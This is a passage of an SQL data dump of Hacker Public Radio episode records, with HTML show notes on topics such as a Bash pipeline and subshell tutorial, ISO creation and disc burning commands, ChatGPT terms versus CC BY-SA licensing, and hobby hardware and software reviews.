restrictions...</p>\n<pre><code> 2. Usage Requirements\n\n (c) Restrictions. You may not (i) use the Services in a way that\n infringes, misappropriates or violates any person&#x2019;s rights; (ii) reverse\n assemble, reverse compile, decompile, translate or otherwise attempt to\n discover the source code or underlying components of models, algorithms,\n and systems of the Services (except to the extent such restrictions are\n contrary to applicable law); (iii) use output from the Services to\n develop models that compete with OpenAI;</code></pre>\n<p>... while the\n<a href=\"https://openai.com/policies/usage-policies\">Usage policies</a>\nlist more.</p>\n<p>So in my opinion, and I am not a lawyer (IANAL) the\n<a href=\"https://openai.com/policies/terms-of-use#3-content\">OpenAI\nChatGPT Terms of use</a> is not compatible with the\n<a href=\"https://creativecommons.org/licenses/by-sa/4.0/\">Creative\nCommons Attribution-ShareAlike 4.0 International (CC BY-SA 4.0)\nlicense</a>.</p>\n<p>You can of course refer to ChatGPT as you would any other non\nCreative Commons site.</p>\n<p>If you disagree or would like to weigh in please discuss this on the\nmail list.</p>\n',30,0,0,'CC-BY-SA','CreativeCommons, CC-BY-SA, ChatGPT, HPR, CC',0,0,1),
(3984,'2023-11-09','Whoppers. How Archer72 and I made moonshine. Volume one.',1730,'Sgoti assists Archer72 with his crazy plan to make moonshine.','<p>What is a whopper?<br />\n<a href=\"https://www.merriam-webster.com/dictionary/whopper\">an\nextravagant or monstrous lie</a><br />\n<a href=\"https://dictionary.cambridge.org/dictionary/english/whopper\">a\nbig lie</a><br />\n</p>\n<p>A work of <a href=\"https://en.wikipedia.org/wiki/Fiction\">Fiction</a>\nis any creative work, chiefly any narrative work, portraying\nindividuals, events, or places that are imaginary or in ways that are\nimaginary.<br />\n</p>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Moonshine\">Moonshine</a> is\nhigh-proof liquor, generally whiskey, traditionally made, or at least\ndistributed, illegally.<br />\n</li>\n<li><strong>Supporting Source:</strong> <a\nhref=\"https://katexic.com/word/busthead-bust-head/\">busthead\n(bust-head).</a> noun. Cheap, strong liquor, usually of the illegal\nvariety. Moonshine. Hooch. Poteen. Pop-skull. Bumblings. The origin is\nobvious to anyone who&#x2019;s hit the busthead a little hard themselves.<br />\n</li>\n</ul>\n<p>The Bureau of Alcohol, Tobacco, Firearms and Explosives (<a\nhref=\"https://en.wikipedia.org/wiki/Bureau_of_Alcohol,_Tobacco,_Firearms_and_Explosives\">BATFE</a>),\ncommonly referred to as the ATF, is a domestic law enforcement agency\nwithin the United States Department of Justice.<br />\n</p>\n<ul>\n<li><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/correspondents/0318.html\">Archer72</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/correspondents/0401.html\">Mechatroniac</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/correspondents/0078.html\">Klaatu</a><br />\n</li>\n<li><strong>Source:</strong> <a\nhref=\"https://hackerpublicradio.org/correspondents/0377.html\">Zen_Floater2</a><br />\n</li>\n</ul>\n',391,0,1,'CC-BY-SA','Whoppers, Moonshine, Archer72',0,0,1),
(3985,'2023-11-10','Bash snippet - be careful when feeding data to loops',1644,'A loop in a pipeline runs in a subshell','<article>\n<h2 id=\"overview\">Overview</h2>\n<p>Recently Ken Fallon did a show on HPR, <a\nhref=\"https://hackerpublicradio.org/eps/hpr3962/index.html\">number\n3962</a>, in which he used a <a\nhref=\"https://www.gnu.org/software/bash/manual/html_node/Pipelines.html\">Bash\npipeline</a> of multiple commands feeding their output into a\n<code>while</code> loop. In the loop he processed the lines produced by\nthe pipeline and used what he found to download audio files belonging to\na series with <code>wget</code>.</p>\n<p>This was a great show and contained some excellent advice, but the\nuse of the format:</p>\n<pre><code>pipeline | while read variable; do ...</code></pre>\n<p>reminded me of the \"gotcha\" I mentioned in my own <a\nhref=\"https://hackerpublicradio.org/eps/hpr2699/index.html\">show\n2699</a>.</p>\n<p>I thought it might be a good time to revisit this subject.</p>\n<h2 id=\"so-whats-the-problem\">So, what\'s the problem?</h2>\n<p>The problem can be summarised as a side effect of pipelines.</p>\n<h3 id=\"what-are-pipelines\">What are pipelines?</h3>\n<p>Pipelines are an amazingly useful feature of Bash (and other shells).\nThe general format is:</p>\n<pre><code>command1 | command2 ...</code></pre>\n<p>Here <code>command1</code> runs in a subshell and produces output (on\nits <em>standard output</em>) which is connected via the pipe symbol\n(<code>|</code>) to <code>command2</code> where it becomes its\n<em>standard input</em>. Many commands can be linked together in this\nway to achieve some powerful combined effects.</p>\n<p>A very simple example of a pipeline might be:</p>\n<pre><code>$ printf &#39;World&bsol;nHello&bsol;n&#39; | sort\nHello\nWorld</code></pre>\n<p>The <code>printf</code> command (≡<code>\'command1\'</code>) writes two\nlines (separated by newlines) on <em>standard output</em> and this is\npassed to the <code>sort</code> command\'s <em>standard input</em>\n(≡<code>\'command2\'</code>) which then sorts these lines\nalphabetically.</p>\n<p>Commands in the pipeline can be more complex than this, and in the\ncase we are discussing we can include a loop command such as\n<code>while</code>.</p>\n<p>For example:</p>\n<pre><code>$ printf &#39;World&bsol;nHello&bsol;n&#39; | sort | while read line; do echo &quot;($line)&quot;; done\n(Hello)\n(World)</code></pre>\n<p>Here, each line output by the <code>sort</code> command is read into\nthe variable <code>line</code> in the <code>while</code> loop and is\nwritten out enclosed in parentheses.</p>\n<p>Note that the loop is written on one line. The semi-colons are used\ninstead of the equivalent newlines.</p>\n<h3 id=\"variables-and-subshells\">Variables and subshells</h3>\n<p>What if the lines output by the loop need to be numbered?</p>\n<pre><code>$ i=0; printf &#39;World&bsol;nHello&bsol;n&#39; | sort | while read line; do ((i++)); echo &quot;$i) $line&quot;; done\n1) Hello\n2) World</code></pre>\n<p>Here the variable <code>\'i\'</code> is set to zero before the\npipeline. It could have been done on the line before of course. In the\n<code>while</code> loop the variable is incremented on each iteration\nand included in the output.</p>\n<p>You might expect <code>\'i\'</code> to be 2 once the loop exits but it\nis not. It will be zero in fact.</p>\n<p>The reason is that there are two <code>\'i\'</code> variables. One is\ncreated when it\'s set to zero at the start before the pipeline. The\nother one is created in the loop as a \"clone\". The expression:</p>\n<pre><code>((i++))</code></pre>\n<p>both creates the variable (where it is a copy of the one in the\nparent shell) and increments it.</p>\n<p>When the subshell in which the loop runs completes, it will delete\nthis version of <code>\'i\'</code> and the original one will simply\ncontain the zero that it was originally set to.</p>\n<p>You can see what happens in this slightly different example:</p>\n<pre><code>$ i=1; printf &#39;World&bsol;nHello&bsol;n&#39; | sort | while read line; do ((i++)); echo &quot;$i) $line&quot;; done\n2) Hello\n3) World\n$ echo $i\n1</code></pre>\n<p>These examples are fine, assuming the contents of variable\n<code>\'i\'</code> incremented in the loop are not needed outside it.</p>\n<p>The thing to remember is that the same variable name used in a\nsubshell is a different variable; it is initialised with the value of\nthe \"parent\" variable but any changes are not passed back.</p>\n<h2 id=\"how-to-avoid-the-loss-of-changes-in-the-loop\">How to avoid the\nloss of changes in the loop</h2>\n<p>To solve this the loop needs to be run in the original shell, not a\nsubshell. The pipeline which is being read needs to be attached to the\nloop in a different way:</p>\n<pre><code>$ i=0; while read line; do ((i++)); echo &quot;$i) $line&quot;; done &lt; &lt;(printf &#39;World&bsol;nHello&bsol;n&#39; | sort)\n1) Hello\n2) World\n$ echo $i\n2</code></pre>\n<p>What is being used here is <a\nhref=\"https://www.gnu.org/software/bash/manual/html_node/Process-Substitution.html\"><em>process\nsubstitution</em></a>. A list of commands or pipelines are enclosed with\nparentheses and a <code>\'less than\'</code> sign prepended to the list\n(with no intervening spaces). This is functionally equivalent to a\n(temporary) file of data.</p>\n<p>The <em>redirection</em> feature allows for data being read from a\nfile in a loop. The general format of the command is:</p>\n<pre><code>while read variable\n do\n # Use the variable\n done &lt; file</code></pre>\n<p>Using process substitution instead of a file will achieve what is\nrequired if computations are being done in the loop and the results are\nwanted after it has finished.</p>\n<h3 id=\"beware-of-this-type-of-construct\">Beware of this type of\nconstruct</h3>\n<p>The following one-line command sequence looks similar to the version\nusing process substitution, but is just another form of pipeline:</p>\n<pre><code>$ i=0; while read line; do echo $line; ((i++)); done &lt; /etc/passwd | head -n 5; echo $i\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\n0</code></pre>\n<p>This will display the first 5 lines of the file but does it by\nreading and writing the entire file and only showing the first 5 lines\nof what is written by the loop.</p>\n<p>What is more, because the <code>while</code> is in a subshell in a\npipeline changes to variable <code>\'i\'</code> will be lost.</p>\n<h2 id=\"advice\">Advice</h2>\n<ul>\n<li><p>Use the <em>pipe-connected-to-loop</em> layout if you\'re aware of\nthe pitfalls, but will not be affected by them.</p></li>\n<li><p>Use the <em>read-from-process-substitution</em> format if you\nwant your loop to be complex and to read and write variables in the\nscript.</p></li>\n<li><p>Personally, I always use the second form in scripts, but if I\'m\nwriting a temporary one-line thing on the command line I usually use the\nfirst form.</p></li>\n</ul>\n<h2 id=\"tracing-pipelines-advanced\">Tracing pipelines (advanced)</h2>\n<p>I have always wondered about processes in Unix. The process you log\nin to, normally called a <em>shell</em> runs a <em>command language\ninterpreter</em> that executes commands read from the standard input or\nfrom a file. There are several such interpreters available, but we\'re\ndealing with <em>bash</em> here.</p>\n<p>Processes are fairly lightweight entities in Unix/Linux. They can be\ncreated and destroyed quickly, with minimal overhead. I used to work\nwith Digital Equipment Corporation\'s <em>OpenVMS</em> operating system\nwhich also uses processes - but these are much more expensive to create\nand destroy, and therefore slow and less readily used!</p>\n<p>Bash pipelines, as discussed, use <em>subshells</em>. The description\nin the Bash man page says:</p>\n<blockquote>\n<p>Each command in a multi-command pipeline, where pipes are created, is\nexecuted in a subshell, which is a separate process.</p>\n</blockquote>\n<p>So a <em>subshell</em> in this context is basically another child\nprocess of the main login process (or other parent process), running\nBash.</p>\n<p>Processes (subshells) can be created in other ways. One is to place a\ncollection of commands in parentheses. These can be simple Bash\ncommands, separated by semi-colons, or pipelines. For example:</p>\n<pre><code>$ (echo &quot;World&quot;; echo &quot;Hello&quot;) | sort\nHello\nWorld</code></pre>\n<p>Here the strings <code>\"World\"</code> and <code>\"Hello\"</code>, each\nfollowed by a newline are created in a subshell and written to standard\noutput. These strings are piped to <code>sort</code> and the end result\nis as shown.</p>\n<p>Note that this is different from this example:</p>\n<pre><code>$ echo &quot;World&quot;; echo &quot;Hello&quot; | sort\nWorld\nHello</code></pre>\n<p>In this case <code>\"World\"</code> is written in a separate command,\nthen <code>\"Hello\"</code> is written to a pipeline. All\n<code>sort</code> sees is the output from the second <code>echo</code>,\nwhich explains the output.</p>\n<p>Each process has a unique numeric id value (the <em>process id</em>\nor <em>PID</em>). These can be seen with tools like <code>ps</code> or\n<code>htop</code>. Each process holds its own PID in a Bash variable\ncalled <code>BASHPID</code>.</p>\n<p>Knowing all of this I decided to modify Ken\'s script from <a\nhref=\"https://hackerpublicradio.org/eps/hpr3962/index.html\">show\n3962</a> to show the processes being created - mainly for my interest,\nto get a better understanding of how Bash works. I am including it here\nin case it may be of interest to others.</p>\n<pre><code>#!/bin/bash\n\nseries_url=&quot;https://hackerpublicradio.org/hpr_mp3_rss.php?series=42&amp;full=1&amp;gomax=1&quot;\ndownload_dir=&quot;./&quot;\n\npidfile=&quot;/tmp/hpr3962.sh.out&quot;\ncount=0\n\necho &quot;Starting PID is $BASHPID&quot; &gt; $pidfile\n\n(echo &quot;[1] $BASHPID&quot; &gt;&gt; &quot;$pidfile&quot;; wget -q &quot;${series_url}&quot; -O -) |&bsol;\n (echo &quot;[2] $BASHPID&quot; &gt;&gt; &quot;$pidfile&quot;; xmlstarlet sel -T -t -m &#39;rss/channel/item&#39; -v &#39;concat(enclosure/@url, &quot;→&quot;, title)&#39; -n -) |&bsol;\n (echo &quot;[3] $BASHPID&quot; &gt;&gt; &quot;$pidfile&quot;; sort) |&bsol;\n while read -r episode; do\n\n [ $count -le 1 ] &amp;&amp; echo &quot;[4] $BASHPID&quot; &gt;&gt; &quot;$pidfile&quot;\n ((count++))\n\n url=&quot;$( echo &quot;${episode}&quot; | awk -F &#39;→&#39; &#39;{print $1}&#39; )&quot;\n ext=&quot;$( basename &quot;${url}&quot; )&quot;\n title=&quot;$( echo &quot;${episode}&quot; | awk -F &#39;→&#39; &#39;{print $2}&#39; | sed -e &#39;s/[^A-Za-z0-9]/_/g&#39; )&quot;\n #wget &quot;${url}&quot; -O &quot;${download_dir}/${title}.${ext}&quot;\n done\n\necho &quot;Final value of &bsol;$count = $count&quot;\necho &quot;Run &#39;cat $pidfile&#39; to see the PID numbers&quot;</code></pre>\n<p>The point of doing this is to get information about the pipeline\nwhich feeds data into the <code>while loop</code>. I kept the rest\nintact but commented out the <code>wget</code> command.</p>\n<p>For each component of the pipeline I added an <code>echo</code>\ncommand and enclosed it and the original command in parentheses, thus\nmaking a multi-command process. The <code>echo</code> commands write a\nfixed number so you can tell which one is being executed, and it also\nwrites the contents of <code>BASHPID</code>.</p>\n<p>The whole thing writes to a temporary file\n<code>/tmp/hpr3962.sh.out</code> which can be examined once the script\nhas finished.</p>\n<p>When the script is run it writes the following:</p>\n<pre><code>$ ./hpr3962.sh\nFinal value of $count = 0\nRun &#39;cat /tmp/hpr3962.sh.out&#39; to see the PID numbers</code></pre>\n<p>The file mentioned contains:</p>\n<pre><code>Starting PID is 80255\n[1] 80256\n[2] 80257\n[3] 80258\n[4] 80259\n[4] 80259</code></pre>\n<p>Note that the PID values are incremental. There is no guarantee that\nthis will be so. It will depend on whatever else the machine is\ndoing.</p>\n<p>Message number 4 is the same for every loop iteration, so I stopped\nit being written after two instances.</p>\n<p>The initial PID is the process running the script, not the login\n(parent) PID. You can see that each command in the pipeline runs in a\nseparate process (<em>subshell</em>), including the loop.</p>\n<p>Given that a standard pipeline generates a process per command, I was\nslightly surprised that the PID numbers were consecutive. It seems that\nBash optimises things so that only one process is run for each element\nof the pipe. I expect that it would be possible for more processes to be\ncreated by having pipelines within these parenthesised lists, but I\nhaven\'t tried it!</p>\n<p>I found this test script quite revealing. I hope you find it useful\ntoo.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li>Bash pipelines:\n<ul>\n<li><a\nhref=\"https://www.gnu.org/software/bash/manual/html_node/Pipelines.html\">GNU\nBash manual: 3.2.3 Pipelines</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Bash loops:\n<ul>\n<li><a\nhref=\"https://www.gnu.org/software/bash/manual/html_node/Looping-Constructs.html\">GNU\nBash manual: 3.2.5.1 Looping Constructs</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>Bash process substitution:\n<ul>\n<li><a\nhref=\"https://www.gnu.org/software/bash/manual/html_node/Process-Substitution.html\">GNU\nBash manual: 3.5.6 Process Substitution</a></li>\n</ul></li>\n</ul>\n<ul>\n<li>HPR shows referenced:\n<ul>\n<li><a\nhref=\"https://hackerpublicradio.org/eps/hpr2045/index.html\">hpr2045 ::\nSome other Bash tips</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/eps/hpr2699/index.html\">hpr2699 ::\nBash Tips - 15</a></li>\n<li><a\nhref=\"https://hackerpublicradio.org/eps/hpr3962/index.html\">hpr3962 ::\nIt\'s your data</a></li>\n</ul></li>\n</ul>\n</article>\n',225,42,1,'CC-BY-SA','Bash,loop,process,shell',0,0,1),
(3992,'2023-11-21','Test recording on a wireless mic',223,'Archer72 tests out a wireless mic with a USB C receiver','<h2 id=\"lekato-2-pack-wireless-microphone-with-charging-case\">LEKATO 2\nPack Wireless Microphone with Charging Case</h2>\n<p><a href=\"https://www.amazon.com/gp/product/B0C4SNT6QK\"\nclass=\"uri\">https://www.amazon.com/gp/product/B0C4SNT6QK</a></p>\n<ul>\n<li>USB C</li>\n<li>Two microphones in a charging case</li>\n<li>Charge phone and use the receiver simultaneously</li>\n</ul>\n<h3 id=\"claims\">Claims</h3>\n<ul>\n<li>75 ft. transmission range</li>\n<li>Wireless Mic can work continuously for 5 hours, and the charging box\ncan quickly charge the device 4 times. The total usage time reaches 25\nhours</li>\n</ul>\n<h2 id=\"axet-audio-recorder-on-f-droid\">Axet Audio recorder on\nF-Droid</h2>\n<p><a href=\"https://f-droid.org/packages/com.github.axet.audiorecorder\"\nclass=\"uri\">https://f-droid.org/packages/com.github.axet.audiorecorder</a></p>\n<ul>\n<li>Works to record stereo with this mic set</li>\n</ul>\n',318,0,0,'CC-BY-SA','Recording, Microphone, Wireless, USB \'C\', F-droid, Android App',0,0,1),
(4221,'2024-10-07','HPR Community News for September 2024',0,'HPR Volunteers talk about shows released and comments posted in September 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(4241,'2024-11-04','HPR Community News for October 2024',0,'HPR Volunteers talk about shows released and comments posted in October 2024','',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3986,'2023-11-13','Optical media is not dead',435,'Archer72 shows command line options for creating and writing iso files','<h2 id=\"brought-up-by-klaatu-on-gnuworldorder.info\">Brought up by Klaatu\non GnuWorldOrder.info</h2>\n<h3 id=\"media-size\">Media size</h3>\n<p>4.7Gb DVD - Actual capacity: 4.377Gb</p>\n<p><a\nhref=\"https://www.cdrom2go.com/blog/what-is-the-actual-storage-capacity-of-a-dvd-disc\"\ntitle=\"What is the actual storage capacity of a dvd disc\">What is the\nactual storage capacity of a dvd disc</a></p>\n<p>A disc with a 25GB capacity is the equivalent of 23.28 gigabytes\nNormally rated at 50GB, in practice they can record about 46.57GB of\ndata</p>\n<p><a\nhref=\"https://www.cdrom2go.com/blog/what-is-the-maximum-capacity-of-a-blu-ray-disc\"\ntitle=\"What is the maximum capacity of a blu ray disc\">What is the\nmaximum capacity of a blu ray disc</a></p>\n<p>Generate ISO image from directory</p>\n<pre><code>genisoimage -U -R -allow-lowercase -allow-multidot -o mydvd.iso &quot;$1&quot;</code></pre>\n<p>Alternative is <em>mkisofs</em></p>\n<pre><code>-U\n\nAllows &quot;untranslated&quot; filenames, completely violating the ISO9660 standards described above. Enables the following flags: -d -l -N -allow-leading-dots -relaxed-filenames -allow-lowercase -allow-multidot -no-iso-translate. Allows more than one `.&#39; character in the filename, as well as mixed-case filenames. This is useful on HP-UX, where the built-in cdfs filesystem does not recognize any extensions. Use with extreme caution.\n\n-R\n\nGenerate SUSP and RR records using the Rock Ridge protocol to further describe the files on the ISO9660 filesystem.\n\n[Wikipedia - ISO 9660](https://en.wikipedia.org/wiki/ISO_9660#SUSP &quot;Wikipedia - ISO 9660&quot;)</code></pre>\n<h3 id=\"corrected-command\">Corrected command</h3>\n<pre><code>genisoimage -R -o mydvd.iso &quot;$1&quot;</code></pre>\n<p>Burning data to a DVD or Blu-ray</p>\n<p>Note:</p>\n<p>Make sure that the medium is not mounted when you begin to write to\nit. Mounting may happen automatically if the medium contains a readable\nfile system. In the best case, it will prevent the burn programs from\nusing the burner device. In the worst case, there will be misburns\nbecause read operations disturbed the drive. So if in doubt, do:</p>\n<pre><code>umount /dev/sr0</code></pre>\n<p>growisofs has a small bug with blank BD-R media. It issues an error\nmessage after the burning is complete. Programs like k3b then believe\nthe whole burn run failed. To prevent this, either format the blank BD-R\nby dvd+rw-format /dev/sr0 before submitting it to growisofs or use\ngrowisofs option</p>\n<pre><code>-use-the-force-luke=spare:none</code></pre>\n<p><a\nhref=\"https://wiki.archlinux.org/title/Optical_disc_drive#Burning_an_ISO_image_to_CD,_DVD,_or_BD\"\ntitle=\"Archwiki - Optical disk burning\">Archwiki - Optical disk\nburning</a></p>\n<h2 id=\"burning-an-iso-image-to-cd-dvd-or-bd\">Burning an ISO image to\nCD, DVD, or BD</h2>\n<h3\nid=\"to-burn-a-readily-prepared-iso-image-file-isoimage.iso-onto-an-optical-medium-run-for-cd\">To\nburn a readily prepared ISO image file isoimage.iso onto an optical\nmedium, run for CD:</h3>\n<pre><code>cdrecord -v -sao dev=/dev/sr0 isoimage.iso</code></pre>\n<h3 id=\"and-for-dvd-or-bd\">and for DVD or BD:</h3>\n<pre><code>growisofs -dvd-compat -Z /dev/sr0=isoimage.iso</code></pre>\n<h3 id=\"for-cd-dvd-bd\">for CD, DVD, BD:</h3>\n<pre><code>xorriso -as cdrecord -v dev=/dev/sr0 -dao isoimage.iso</code></pre>\n<h2 id=\"other-reading\">Other reading</h2>\n<h3 id=\"archwiki---optical-disk-drive\">Archwiki - Optical disk\ndrive</h3>\n<p><a href=\"https://wiki.archlinux.org/title/Optical_disc_drive\"\ntitle=\"Archwiki - Optical disk drive\">Archwiki - Optical disk\ndrive</a></p>\n<h3 id=\"debian---gensisoimage-man-page\">Debian - Gensisoimage man\npage</h3>\n<p><a\nhref=\"https://manpages.debian.org/bookworm/genisoimage/genisoimage.1.en.html#U\"\ntitle=\"Debian - Gensisoimage man page\">Debian - Gensisoimage man\npage</a></p>\n<h3 id=\"debian-wiki---genisoimage-and-xorrisofs\">Debian wiki -\ngenisoimage and xorrisofs</h3>\n<p><a href=\"https://wiki.debian.org/genisoimage\"\ntitle=\"Debian wiki\">Debian wiki</a></p>\n<h3 id=\"archiving-data-on-blu-ray-discs\">Archiving data on Blu-ray\ndiscs</h3>\n<p><a href=\"https://briantomasik.com/archiving-data-on-blu-ray-discs/\"\ntitle=\"Archiving data\">Archiving data</a></p>\n<h3\nid=\"mount-an-iso-file-and-burning-it-to-cd-rdvd-rbluray-in-linux\">Mount\nan ISO file and Burning it to CD-R/DVD-R/BluRay in Linux</h3>\n<p><a href=\"https://linux.m2osw.com/mount-iso-file-linux\"\ntitle=\"Mount an ISO file and Burning\">Mount an ISO file and\nBurning</a></p>\n<h3\nid=\"what-is-the-size-capacity-of-my-dvd-dual-layer-dvd-or-blu-ray-disc\">What\nis the size capacity of my DVD, Dual Layer DVD or Blu-ray disc?</h3>\n<p><a\nhref=\"http://kb.primera.com/article/21426/45024/what-is-the-size-capacity-of-my-dvd-dual-layer-dvd-or-bluray-disc-how-much-space-room\"\ntitle=\"What is the size capacity of my DVD\">What is the size capacity of\nmy DVD</a></p>\n<h3 id=\"wikipedia-iso9660\">Wikipedia ISO9660</h3>\n<p><a href=\"https://en.wikipedia.org/wiki/ISO_9660\"\ntitle=\"Wikipedia ISO9660\">Wikipedia ISO9660</a></p>\n',318,0,0,'CC-BY-SA','Command line, Create ISO, Burn ISO, Optical media, DVD, CD, Blu-ray',0,0,1),
(3987,'2023-11-14','The Grim Dawn',2391,'Sgoti rambles about a video game called Grim Dawn.','<ul>\n<li><p><strong>Source:</strong> <a\nhref=\"https://en.wikipedia.org/wiki/Action_role-playing_game\">Action\nrole-playing game.</a></p></li>\n<li><p><strong>Source:</strong> <a href=\"https://www.grimdawn.com/\">Grim\nDawn.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.grimdawn.com/guide/\">Grim Dawn Game\nGuide.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://store.steampowered.com/app/219990/Grim_Dawn/\">Steam page\nfor Grim Dawn.</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.grimtools.com/\">Grim Dawn Tools (Third party\nsite).</a></p></li>\n<li><p><strong>Supporting Source:</strong> <a\nhref=\"https://www.grimdawn.com/guide/character/masteries/soldier/\">Soldier\nClass.</a> Soldiers readily charge into the carnage and unleash crushing\nmight upon their foes. Their physical prowess is unmatched and their\nability to survive through the most brutal conflicts makes them an\nexcellent choice for defense-oriented players.</p></li>\n<li><p><strong>Source:</strong> <a\nhref=\"https://diablo4.blizzard.com/en-us/\">Diablo 4</a></p></li>\n</ul>\n<p>This work is licensed under a <a\nhref=\"https://creativecommons.org/licenses/by-sa/4.0/\"\ntitle=\"CC-BY-SA 4.0 International\">Creative Commons\nAttribution-ShareAlike 4.0 International License</a>.</p>\n',391,0,0,'CC-BY-SA','Grim Dawn, ARPG, Diablo 4, Video Games',0,0,1),
(3988,'2023-11-15','Beeper.com',750,'operat0r talks about Beeper dot com a multi chat client','<p>I talk about Beeper dot com a multi chat client</p>\n<p>Beeper is a universal messaging app that lets you chat with anyone on\nany chat app, including Whatsapp, iMessage, Telegram and 12 other\nnetworks.</p>\n<h2 id=\"links\">Links</h2>\n<ul>\n<li><a href=\"https://www.beeper.com/\">https://www.beeper.com/</a></li>\n<li><a\nhref=\"https://github.com/beeper\">https://github.com/beeper</a></li>\n</ul>\n',36,0,1,'CC-BY-SA','chat,messaging,mobile',0,0,1),
(3989,'2023-11-16','LastPass Security Update 1 November 2023',553,'LastPass was hacked, what should you do?','<p>In 2022, LastPass disclosed that it had been hacked, and I think by\nnow just about everyone has heard about it. Now we have evidence that\npassword vaults have been hacked. So what does this mean, and what\nshould you do?</p>\n<h2 id=\"links\">Links:</h2>\n<ul>\n<li><a\nhref=\"https://krebsonsecurity.com/2023/09/experts-fear-crooks-are-cracking-keys-stolen-in-lastpass-breach/\"\nclass=\"uri\">https://krebsonsecurity.com/2023/09/experts-fear-crooks-are-cracking-keys-stolen-in-lastpass-breach/</a></li>\n<li><a\nhref=\"https://www.zwilnik.com/security-and-privacy/lastpass-hacked-what-does-this-mean/\"\nclass=\"uri\">https://www.zwilnik.com/security-and-privacy/lastpass-hacked-what-does-this-mean/</a></li>\n<li><a\nhref=\"https://wtop.com/tech/2023/01/data-doctors-should-i-stop-using-lastpass-for-password-management/\"\nclass=\"uri\">https://wtop.com/tech/2023/01/data-doctors-should-i-stop-using-lastpass-for-password-management/</a></li>\n<li><a href=\"http://hackerpublicradio.org/eps.php?id=1810\"\nclass=\"uri\">http://hackerpublicradio.org/eps.php?id=1810</a></li>\n</ul>\n',198,74,0,'CC-BY-SA','LastPass, password vault',0,0,1),
(3993,'2023-11-22','z80 membership card',934,'review of a kit','<ul>\n<li>intro\n<ul>\n<li>bought a couple of z80 old style computers</li>\n<li>found this searching youtube</li>\n<li>cosmac elf-rca 1802</li>\n<li><a href=\"https://www.sunrise-ev.com/\"\nclass=\"uri\">https://www.sunrise-ev.com/</a></li>\n</ul></li>\n<li>lee hart\n<ul>\n<li>electrical engineer</li>\n<li>was there at the beginning of the computer revolution</li>\n<li>life long love of electric vehicles</li>\n</ul></li>\n<li>the kit\n<ul>\n<li>piece of art</li>\n<li>z80 membership, minimum computer</li>\n<li>front panel gives self contained system</li>\n<li>boards, all parts and altoid tin</li>\n<li>great documentation, schematics, assembly guide and getting\nstarted</li>\n</ul></li>\n<li>the assembly\n<ul>\n<li>great instructions</li>\n<li>easy to solder</li>\n<li>a few tricks to get the boards to fit in the tin</li>\n<li>i made a dedicated serial cable by modifying ftdi cable</li>\n<li>i made a battery pack</li>\n</ul></li>\n<li>usage\n<ul>\n<li>front panel takes a bit of practice to use (locations of keys)</li>\n<li>found a z80 assembly language tutorial, hand assembly</li>\n<li>portable z80 machine to learn</li>\n</ul></li>\n<li>take away\n<ul>\n<li>excellent kit</li>\n<li>if your looking for a gift, many to choose from</li>\n<li>excellent quality</li>\n</ul></li>\n</ul>\n<p><em>01 membership card</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/01-membership-card.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/01-membership-card_thumbnail.jpg\"\nalt=\"01 membership card\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>02 membership card back</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/02-membership-card--back.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/02-membership-card--back_thumbnail.jpg\"\nalt=\"02 membership card back\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>03 front panel card</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/03-front-panel-card.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/03-front-panel-card_thumbnail.jpg\"\nalt=\"03 front panel card\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>04 front card back</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/04-front-card-back.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/04-front-card-back_thumbnail.jpg\"\nalt=\"04 front card back\" /></a> <br/><small><small><em>Click the\nthumbnail to see the full-sized image</em></small></small></p>\n<p><em>05 assembled</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/05-assembled.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/05-assembled_thumbnail.jpg\"\nalt=\"05 assembled\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>06 in the can</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/06-in-the-can.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/06-in-the-can_thumbnail.jpg\"\nalt=\"06 in the can\" /></a> <br/><small><small><em>Click the thumbnail to\nsee the full-sized image</em></small></small></p>\n<p><em>07 things added</em><br />\n<a\nhref=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/07-things-added.jpg\"><img\nsrc=\"https://hackerpublicradio.org/eps/hpr3993/hpr3993/07-things-added_thumbnail.jpg\"\nalt=\"07 things added\" /></a> <br/><small><small><em>Click the thumbnail\nto see the full-sized image</em></small></small></p>\n<p><em>08 fits inside</em><br 